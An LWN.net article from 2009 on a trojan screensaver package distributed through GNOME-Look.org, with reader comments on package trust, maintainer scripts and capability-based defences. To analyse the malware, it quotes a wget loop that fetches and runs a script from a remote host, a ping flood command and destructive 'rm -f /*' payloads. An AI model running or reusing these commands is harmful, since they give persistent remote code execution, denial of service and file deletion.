|
|
Subscribe / Log in / New account

Linux malware: an incident and some solutions

December 23, 2009

This article was contributed by Koen Vervloesem

Linux users like to think that they are not vulnerable to all the evil that is out there on the internet, but a recent incident showed that they too should be careful. A screen saver from the popular web site GNOME-Look.org turned out to be malware that made the user's computer take part in a distributed denial-of-service attack.

GNOME-Look.org is a website where users can download artwork for the GNOME Desktop, such as wallpapers, GTK themes, icons, splash screens, and screen savers. Its motto is "Eyecandy for your GNOME-Desktop". One week ago, an Ubuntu user "conorsulli" that had installed a screen saver called "WaterFall" noticed something strange and posted his discovery in the Ubuntu forums. The .deb file he had downloaded didn't install a screen saver but instead some weird files.

First, it installed a script gnome.sh into /etc/profile.d, meaning that the script gets executed every time someone logs in (because /etc/profile executes all scripts it finds in /etc/profile.d). This script then runs another installed script, /usr/bin/Auto.bash, which downloads some files from a free web hosting site at T35 Hosting and installs them locally: /usr/bin/run.bash and /usr/bin/index.php. The whole Auto.bash script is:

    while :
    do
	rm /usr/bin/run.bash
	cd /usr/bin/
	wget http://05748.t35.com/Bots/index.php
	wget http://05748.t35.com/Bots/run.bash
	sleep 4
	rm index.php
	chmod 755 run.bash
	command -p /usr/bin/run.bash
    done

So, Auto.bash downloads index.php (which it strangely removes before doing anything with it) and run.bash, after which it executes the latter. Ultimately, the downloaded script run.bash pings packets of a large size (around 64 kB) to a server, presumably to mount a distributed denial-of-service attack:

    ping -s 65507 www.mmowned.com

The victim, MMOwned, seems to be a web site dedicated to exploits, hacks, bots, and guides to the massively multiplayer online game World of Warcraft. However, as the script run.bash gets downloaded each time the user logs in, it could be replaced by other, much worse, assignments. Note that the script Auto.bash uses an infinite loop. Combined with the sleep command, this effectively downloads and executes a new run.bash every few seconds, for as long as the user is logged in. This is not very stealthy, as watching for suspicious network connections with netstat or suspicious processes with top or ps will likely spot the problem.

Dangerous payloads

When Ubuntu users visited the URI where the scripts were hosted to investigate the case, the culprit noticed and explained his quest:

If your reading this from coming from that ubuntu forums place, Well done you saw right [through] my "Screensaver" cough cough wink wink, I can tell you this. Basically after getting some scripts to run upon start up, It then sets to work downloading another file, This can be changed on my server so in essence i could do whatever i like on your computer, But i only really want to [perform] a DOS (denial of service) attack, For no reason I'm attacking mmowned.com, Just using it as a test. Hats Off!

And indeed, at one time the run.bash script contained sudo rm -f /*, which removes all files (luckily not recursively, because the command lacks the r flag) in the root directory. To prove his point, the bad guy changed the payload a few times, for example to:

    rm -f /*.*
    echo "You see this? It's changed, before it was set to ping?"

Ultimately, conorsulli's discovery led the administrators of GNOME-Look.org to remove the malicious screen saver from their web site. The forum thread then listed instructions to remove the malware, first purge the deb file with:

    apt-get --purge remove app5552
then remove the downloaded files. However, because the run.bash script is downloaded from a server every time the user logs in, no one can exclude the possibility that it did something much more nasty and has hidden a backdoor. A complete reinstall of Ubuntu is the only safe solution here. But the bad guy didn't stop and tried to masquerade the same attack in the "Ninja Black" theme.

There are still some gaps in our understanding about what the malware did exactly. Because the .deb file can't be inspected anymore, it's hard to fill in those gaps. There appear to be some problems with the script: for example Auto.bash runs as a regular user and thus has no write permissions to /usr/bin (unless that is somehow changed as part of the installation script). So run.bash couldn't be downloaded and would only be executed as it was installed from the .deb. The whole construction looks like it might have been written by a script kiddie, but it's scary to think about the consequences of a competent programmer writing such malware.

In ... we trust

Of course it's not hard to come up with the lesson from of all this. One of the Ubuntu users summarized it neatly:

The point is that I was dumb enough to think that Ubuntu was secure enough out here in the Linux wonderland that I love so much that I ended up on gnome-look downloading everything that looked cool without examining everything first.

Examining the contents of a deb file is actually simple:

    dpkg --contents foo.deb
The offline package installer Gdebi even shows the included files in a package before it is installed. Eventually, the discussion moved into a new thread, "Social engineering (trojan) via gnome-look.org", discussing the problem of Linux malware from a general point of view.

Software in the official repositories of Linux distributions are more or less trustworthy because most distributions have a policy that requires that the software be tested. So package managers and the repositories they use are a trusted source. This is one of the reasons why malware isn't as common on Linux systems as on Windows, where the user has to install lots of third-party software from various sources. The problem of course is: if users trust arbitrary code, then they are vulnerable to all sorts of security risks. When installing something from outside an official repository, the user has to do the testing step himself. Needless to say, many users won't do that. They just want to run the newest screen savers, themes, and other software to spice up their desktop.

However, there is a genuine need for more software than the official repositories have. Ubuntu has the PPAs (Personal Package Archives) for this purpose, but then the user has to trust the PPA owner. Although there are some requirements for setting up a PPA, such as signing the Ubuntu code of conduct, apparently there are no formal requirements or reviews, so in principle anyone can set up a malicious PPA.

So maybe it's time to think about a more general solution, e.g. with a GPG-based "web of trust". This can also be implemented in the form of "trusted PPAs". This way the owner of a PPA can prove their identity, and users can then download only packages from someone they trust (or someone trusted by someone they trust). Incidentally, the roadmap of Ubuntu Software Center shows some plans in this domain for Ubuntu 10.10: "Establish and convey a trust level for software in PPAs, and let you easily add PPAs within the Center.", although it doesn't mention how that trust level would be established. But even when this is implemented, one must not forget that trust can be misguided. Apparently, people trusted GNOME-Look.org blindly.

Mandatory version control

Another proposal came from Amarok developer Mark Kretschmann, who has been thinking about possible solutions to malware. He doesn't find a review process practical:

That's a neat idea on paper. But only there. This couldn't possibly work out, for two reasons: 1) Manpower - We simply don't have enough of that. 2) Responsibility - Who wants to be responsible for letting Malware slip through your fingers? This can happen to anyone, and it would be pretty embarrassing. I certainly wouldn't want to be responsible for anything.

What he proposes as a first barrier is mandatory version control for all third-party KDE components, such as Amarok plugins, Plasma applets, and so on:

With a VCS, it's very easy to tell who inserted Malware, and when this person did this. This fact alone would provide some accountability, and I think it might prevent a good deal of attempts of messing around with the code. And even if it happened anyway, it would be trivial to revert the change, and we would just ban the person who did this from ever committing to this repository again.

Requiring that packages come out of project-run VCS doesn't solve all the problems, but it could help. However, it does require that the VCS server is adequately secured, as Joey Hess pointed out: "It's easy for anyone with shell access to the svn server to go back and change someone else's past commit, inserting their malware at that point without anything pointing to them as the perpetrator."

The year of the Linux desktop?

Some people have jokingly said that this malware incident shows that we have finally reached the "year of the Linux desktop". There is some truth in that, though. Linux, and especially Ubuntu, is attracting more and more new users. However, many of these users have learned bad habits in the Windows world, such as downloading eye candy from arbitrary sources. An incident like the WaterFall malware can only be avoided when users are trained not to trust third-party software blindly. We also need more technical measures: mandatory version control might be a first step, but some kind web of trust for software could be helpful too. The latter would make trust an explicit feature in package managers, which may make users think about how they trust the source before they install a package.


Index entries for this article
SecurityDesktop
SecurityLinux malware
GuestArticlesVervloesem, Koen


to post comments

Linux malware: an incident and some solutions

Posted Dec 24, 2009 12:25 UTC (Thu) by tzafrir (subscriber, #11501) [Link] (3 responses)

Just one comment regarding the dpkg command in the article: it lists the contents of a package. That, however, omits one very obvious place to hide malicious (or, well, buggy) code: the maintainer scripts.

I'm not aware of a simple dpkg equivalent of the command 'rpm -q --scripts foo.rpm', but it should be along the lines of:

dpkg --info foo.deb config preinst postinst prerm postrm

Linux malware: an incident and some solutions

Posted Dec 24, 2009 16:34 UTC (Thu) by cortana (subscriber, #24596) [Link] (2 responses)

dpkg --info blah.deb will display which of the preinst, postinst, prerm, postrm scripts the .deb has,
and whether they are shell scripts, perl scripts, etc.

The question I want to ask is: why on earth did gnome-look not strip out all the scripts that
submitted debs contained? There is no need for a package containing a screen saver to contain
such as script; all you have to do is drop an executable somewhere, and a .desktop file in
/usr/share/applications/screensavers!

Linux malware: an incident and some solutions

Posted Dec 25, 2009 6:51 UTC (Fri) by elanthis (guest, #6227) [Link] (1 responses)

An even better question is why screensavers are submitted as dpkgs at all. Of hmome-look
wants to use native packages for this, require them to be submitted as simplifed source balls
and build the binaries and packages themselves, using a properly jailed build environment
(or even a vm instance).

Linux malware: an incident and some solutions

Posted Dec 26, 2009 14:21 UTC (Sat) by tzafrir (subscriber, #11501) [Link]

That's because you consider them as packagers.

Linux malware: an incident and some solutions

Posted Dec 24, 2009 12:49 UTC (Thu) by rickmoen (subscriber, #6943) [Link] (3 responses)

It's unfortunate that nearly all articles about Unix malware start by thrashing the same stupid straw man about "Linux users like to think that they are not vulnerable". Any operating system that permits the user to destroy his/her own system's security is "vulnerable" in that trivial and rather meaningless sense of the word, and Unix furnishes the rope to hang yourself, spare blocks and tackles, and a few rope factories and foundries in case you want to make more.

So, when has it ever not been the case that "they too should be careful"?

The .deb was "on gnome-look.org" in the technical sense that it was made available by its third-party author at some URL of the form http://gnome-look.org/CONTENT/content- files/[something].deb, but even a cursory look at the site should have revealed to any member of the public that the site maintainers do effectively zero quality control, that it's an automated "portal" where "Everyone can upload and download artwork, applications, documents and other files."

So, it should have been obvious that the downloaded file was from nobody in particular, for starters -- but then there's the fact that it's a .deb, which requires root/sudo to install, and inherently supports preinst/postinst scripts, run as root.

None of which in the least differs from Koen Vervloesem's point that "An incident like the WaterFall malware can only be avoided when users are trained not to trust third-party software blindly", which is well taken, but there's only so much that can be done to dissuade novice sysadmins from destroying their systems. If they're willing to install as the root user software from unknown parties on the Internet just so they can have "the newest screen savers, themes, and other software to spice up their desktop", the best you can do is gently point them to the CERT document on recovery from root compromise and say "Gosh, it hurts when you shoot at your own foot, doesn't it?"

Even with "more software than the official repositories have", if it's not alleged screensavers, it'll be alleged Internet poker games, alleged video codecs for porn, alleged "birthday cards", etc. -- or various and sundry add-on Web apps.

The only way out is to keep reminding users they're responsible for whom they trust and what processes they run, teach them not to aim that gun at their feet, and teach them how to recognise that type of foot wound and how it got there.

Rick Moen
rick@linuxmafia.com

Linux malware: an incident and some solutions

Posted Dec 24, 2009 19:11 UTC (Thu) by rickmoen (subscriber, #6943) [Link] (2 responses)

And, I forgot to mention: Firefox extensions. I note that the Mozilla Organization's https://addons.mozilla.org/ "portal" site contributes substantially to the problem of dangerous user attitudes, by having no entry about source code or licensing on any of the extension entries, but a large, prominent button marked "Download Now" on each. I've encountered Linux users who've been completely unaware that what they fetched via that site was proprietary software from nobody in particular, that they would not have trusted with their user-level security access if they'd been thinking more clearly.

I suggest we of the Linux community work harder to get out the message that, e.g., just because we recommend Adblock and NoScript, that doesn't mean we recommend downloading arbitrary extensions from any-old-where, and that, when we provide URLs to Adblock and NoScript's upstream Web sites, we don't mean you should get it from there: You should get maintained, audited packages from your distro maintainers, where available -- and assume code is dangerous unless you have reason to think it isn't.

Rick Moen
rick@linuxmafia.com

NoScript and Adblock

Posted Dec 25, 2009 3:10 UTC (Fri) by pflugstad (subscriber, #224) [Link] (1 responses)

I completely agree with you. But then you went and mentioned NoScript and AdBlock:

http://lwn.net/Articles/332093/

Intentional?

Pete

NoScript and Adblock

Posted Dec 26, 2009 7:48 UTC (Sat) by rickmoen (subscriber, #6943) [Link]

Pete wrote:

http://lwn.net/Articles/332093/

{shrug} The best solution to upstream antics is the one Jake Edge mentions, distro packages, which I always strongly, strongly encourage Linux newcomers to favour over going to upstream (absent rare reasons to the contrary). But NoScript / Adblock even with upstream antics are better than lacking them. Fortunately, both extensions are open source -- as many extensions advertised on https://addons.mozilla.org/ are not.

(My view, yours for a small royalty fee and waiver of reverse-engineering rights).

Rick Moen
rick@linuxmafia.com

Linux malware: an incident and some solutions

Posted Dec 25, 2009 18:15 UTC (Fri) by smurf (subscriber, #17840) [Link]

>> It's easy for anyone with shell access to the svn server
>> to go back and change someone else's past commit

That's a SVN problem. With git, such a change would have to be propagated through the whole subsequent commit history. This would be immediately visible to anybody who re-syncs their git archive and then looks at the resulting merge tree. Not a perfect solution, but good enough; anyway, git also supports gpg-signed tags, which _are_ as perfect as one can get.

The other distributed VCSes offer similar integrity features. But then, SVN is no _distributed_ VCS.

Linux malware: an incident and some solutions

Posted Dec 30, 2009 1:43 UTC (Wed) by zooko (guest, #2589) [Link] (12 responses)

"An incident like the WaterFall malware can only be avoided when users are trained not to trust
third-party software blindly."

Argh. This is not the only possible solution! It makes me sad that the linux community assumes
that discriminating among sources of software is the only solution. That solution doesn't scale,
nor does it work even at the scale of software production and software use that we already have.

The "other solution" -- the one that most people seem to find inconceivable -- is *don't give it
permission to do things that it doesn't need to do*. An eye-candy display for xlock doesn't need
to do anything other than generate pretty patterns on the screen. If that is all that it is able to
do, then it doesn't matter if you download your eye-candy from http://eyecandy.suspicious.ru or
if you receive it in email from linus@kernel.org.

Now implementing an access control mechanism that could enforce this while being usable is a
hard job (it would require capability access control instead of the access control lists that we
have now). But at least it is possible to solve the problem that way, unlike the "discriminate
among sources of software" way, which will never work unless we cut down the number of
contributors of open source software to a couple of hundred total programmers world-wide.

Linux malware: an incident and some solutions

Posted Dec 30, 2009 1:56 UTC (Wed) by dlang (guest, #313) [Link] (1 responses)

does a screensaver need to be able to accept (or detect) input from the keyboard and/or mouse?

if so, then it is no longer good enough to lock things down as you describe, because the screensaver could pop up a image that looks like your desktop. with no other access it becomes a simple DOS (as opposed to a full trojan) but it would still be a nasty issue to troubleshoot.

and if it isn't allowed to accept input, how can you have a locking screensaver?

back in the c64 days I would do something similar. I could walk up to a machine on display in the store and a minute or so later walk away with the display looking the same (complete with the cursor moving), but anything you typed just responded with 'OK'

on a display machine that just needed a (fast) power cycle to get back to normal, this was a prank. as a 1% of the time I cause you to loose all open files because the the screensaver takes over and makes it look like your box is dead it becomes more significant.

Linux malware: an incident and some solutions

Posted Dec 30, 2009 14:02 UTC (Wed) by paulj (subscriber, #341) [Link]

The screensaver framework can handle keyboard input and locking. The only thing the
untrusted part needs access to is a drawing API to the window on which the screensaver
should appear.

Linux malware: an incident and some solutions

Posted Dec 30, 2009 4:25 UTC (Wed) by rickmoen (subscriber, #6943) [Link] (8 responses)

Zooko, consider the mechanics of what happened at gnome-look.org: A nameless author contributed an alleged screensaver-module file in (at least) .deb format, and the site's automated scripts accepted and listed it. His/her listing either stated or implied that the user should download and "dpkg -i" it.

Putting user-system-level ACLs on what an eye-candy display for xlock is allowed to do doesn't address that particular threat model, because the attack was a social-engineering one against the user, to get him/her to install a distro package with root authority when no such access should be rationally needed just to install a screensaver. (An ACL approach such as you might discuss could help with actual screensaver files.)

The author's sentence "An incident like the WaterFall malware can only be avoided when users are trained not to trust third-party software blindly" strikes me as directed towards pondering how to make social-engineering threats less likely to succeed, and I agree with the author that those are a much larger threat than lack of a capabilities-enforcement mechanism for screensavers, wallpaper, themes, etc.

Rick Moen
rick@linuxmafia.com

Linux malware: an incident and some solutions

Posted Dec 30, 2009 4:45 UTC (Wed) by zooko (guest, #2589) [Link] (7 responses)

Dear Rick Moen: that's a good point, but capability access control could appropriately constrain the installation of packages just as it could constrain the display of eye-candy. In fact, we Linux-users are actually probably much closer to Principle-Of-Least-Authority package management than to Principle-Of-Least-Authority screen savers because of the NixOS project! http://nixos.org/nixos/

Linux malware: an incident and some solutions

Posted Dec 30, 2009 6:38 UTC (Wed) by rickmoen (subscriber, #6943) [Link] (6 responses)

I'm not sure, offhand, how capability controls on package installers would prevent granting of powers to undesired scripts within some packages while permitting them to others. E.g. it might even be the case that screensaver modules can legitimately be expected to be delivered within .deb archives sometimes, and legitimately include scripts.

Rick Moen
rick@linuxmafia.com

Linux malware: an incident and some solutions

Posted Jan 4, 2010 19:08 UTC (Mon) by giraffedata (guest, #1954) [Link] (5 responses)

I'm not sure, offhand, how capability controls on package installers would prevent granting of powers to undesired scripts within some packages while permitting them to others.

I can see it. It's a higher level of capability control than you're thinking of. Maybe implemented in dpkg itself. You request to install a package, but say, "This installation has no business setting up something that runs every time anyone logs in." In the case at hand, I believe if dpkg failed with a message saying, "you need to give me permission to install a login script," the user wouldn't have proceeded.

Indeed, that kind of constrainability of installs would help with inadvertent over-installation as well. Many times, I've had an installer helpfully configure something on my system for me -- something outside the scope of what I thought I was modifying by installing -- and later I had a devil of a time figuring out who changed it and how to change it back.

Linux malware: an incident and some solutions

Posted Jan 4, 2010 21:31 UTC (Mon) by hppnq (guest, #14462) [Link] (4 responses)

The kind of attack you need to worry about is the one that is able to fool you, not so much the system. In the case of a screensaver that asks permission to run a script, some users may be able to answer correctly: no, of course not. But for a Firefox extension that rewrites a trusted link in a trusted webpage to a malicious one or opens a connection to a remote server? You are the weak link.

I think no amount of capability control will help decide, with acceptable confidence, what is trusted and what not -- not even if this would involve detection of normal usage and trust patterns -- unless the software was downloaded from a trusted site to begin with.

(I guess the problem of properly configuring a system that is exposed to uncontrolled outside input to perform a specific task is exactly as difficult as configuring it to prevent it. ;-)

Linux malware: an incident and some solutions

Posted Jan 4, 2010 23:13 UTC (Mon) by zooko (guest, #2589) [Link] (3 responses)

Suppose for example that http://gnome-look.org/ offered packages in some format where it was trivial to verify that installing the package wouldn't write any files into system script directories such as /etc/profile.d . (It is not easy -- perhaps not even possible -- to verify such things about .deb packages. Perhaps if they were Nix packages http://nixos.org/nix/ instead then it would be easy.)

Suppose then that the administrators of http://gnome-look.org/ ran a script which confirmed that the eye-candy packages didn't install anything other than the appropriate eye-candy plugin code. (Note that they don't need to inspect any source code themselves -- they just have a script which inspects each new package when it is uploaded to confirm that nothing gets written outside of the appropriate location for eye-candy plugins.)

Now here is my point: nobody needs to make judgments about the moral character of the authors of the plugins! This hypothetical Principle-Of-Least-Authority package management system (of which Nix may be an example or at least an ancestor), plus this hypothetical script that the owners of http://gnome-look.org/ execute automatically on all new uploads, plus this hypothetical Principle-of-Least-Authority eye-candy plugin mechanism (of which Google Native Client is an example), combine so that you can happily invite the author of this malware to go ahead and submit a whole bunch more eye-candy plugins to http://gnome-look.org/ , and millions of users can safely download his latest creations and stare at the pretty pictures.

So the point that I'm trying to emphasize here is that discerning between good guys and bad guys among the authors of the software that you rely on is *not* the only way to defend against malware.

And a good thing too, because that strategy is utterly hopeless for a large-scale software ecosystem. It is an appropriate strategy for Dunbar's-number-scaled ecosystems in which you basically know everyone involved personally and can form coherent opinions about each person's character. In other words, it was probably a great strategy for our ancestors ten thousand years ago, and that's probably why we continue to think of it as the right and natural thing to do today, even though it is utterly useless for today's situation.

Linux malware: an incident and some solutions

Posted Jan 4, 2010 23:19 UTC (Mon) by dlang (guest, #313) [Link] (2 responses)

the problem is in your first statement.

Given an arbitrary script, it is not trivial to verify that it does or doesn't access files in any particular place. In any language it is fairly easy to obfuscate the actual path that's accessed by having that path be the result of some calculation

I's not feasible to say "don't allow variables in a command" because for maintainability and readability there are a lot of very good reasons to do so.

Linux malware: an incident and some solutions

Posted Jan 5, 2010 0:10 UTC (Tue) by zooko (guest, #2589) [Link] (1 responses)

That's the part that is (at least partially) solved by techniques like Nix. It is also partially solved by GNU stow. You can't give me a package which will sneakily install a script into my /etc/profile.d when I install your package using GNU stow.

The basic idea is that you don't try to figure out what the code is going to do, you instead have a separate layer that has some (simple, easily verified) policy about the consequences of what the code does when you run it. In the case of GNU stow, that simple policy is that nothing gets written to outside of /usr/local . I don't understand Nix as well, but it seems like it enforces that nothing gets written outside of "/nix/store/22bharrqlcisnwa11a5qr0xazgvv64hk-firefox-3.5b4" where the big long random string is the secure hash of the actual contents of this particular version. (I'm copying this from http://lwn.net/Articles/337677/ .)

Linux malware: an incident and some solutions

Posted Jan 5, 2010 5:47 UTC (Tue) by dlang (guest, #313) [Link]

but it is possible to install a script that when run by root after installation will modify /etc/profile.d

Linux malware: an incident and some solutions

Posted Jan 7, 2010 17:22 UTC (Thu) by Felix_the_Mac (guest, #32242) [Link]

It should also be possible to say when installing a package:

Allow NO network access
Allow only local subnet
Allow Internet access

And the required level could be 'hinted' in the installer so that the user would be prompted

"OpenOffice requests full network access? Is this OK? (Remember most programs do not need full network access)"

Linux malware: an incident and some solutions

Posted Dec 31, 2009 17:34 UTC (Thu) by ccurtis (guest, #49713) [Link]

I wonder if package installation tools could help here. Dropping to the commandline is always an 'advanced' option, but for the unwashed masses: what if 'dpkg-gui' shipped with a set of heuristics that classified packages based on their contents and displayed this to the user at install.

In the gnome-look example, this 'dpkg-gui' could scan the file listing and display a dialog saying that (based on the various rules) the 'Waterfall' package contains:

* GTK Themes
* Desktop wallpapers
* Icons
! System configuration files
! Maintainer scripts

... with appropriate warnings about the items marked with a '!'.

The 'Maintainer scripts' type is (and always has been) a huge hole-in-the-waiting. You could scan each script looking for patterns ('/etc/', '/../') but the number of false positives (reading files versus writing) would be large - not to mention that any language could be used and the paths could be obfuscated easily.

One could argue that a user should know that a theme doesn't require these scripts, but that's really asking too much. People coming from Windows, rightly or wrongly, place some trust the installer because they can always "back out". This is not a completely unreasonable position. Given the innate "root-ness" of system packages, Linux may even be an even more vulnerable target.

Perhaps the 'Maintainer scripts' has a "Check..." option that creates a VM or a secure chroot/jail on top of a filesystem snapshot or overlay from which it can perform a delta analysis. It can then use this delta to amend the list of categories the package belongs to - perhaps highlighting new decisions in red, or disallowing them altogether.

This is an issue that will need to be addressed, and user education is not the answer. Like debugging clever code, this arms race has to be fought between the programmers themselves - not between the attackers and the "OMG Ponies" folks.


Copyright © 2009, Eklektix, Inc.
Comments and public postings are copyrighted by their creators.
Linux is a registered trademark of Linus Torvalds

pFad - Phonifier reborn

Pfad - The Proxy pFad of © 2024 Garber Painting. All rights reserved.

Note: This service is not intended for secure transactions such as banking, social media, email, or purchasing. Use at your own risk. We assume no liability whatsoever for broken pages.


Alternative Proxies:

Alternative Proxy

pFad Proxy

pFad v3 Proxy

pFad v4 Proxy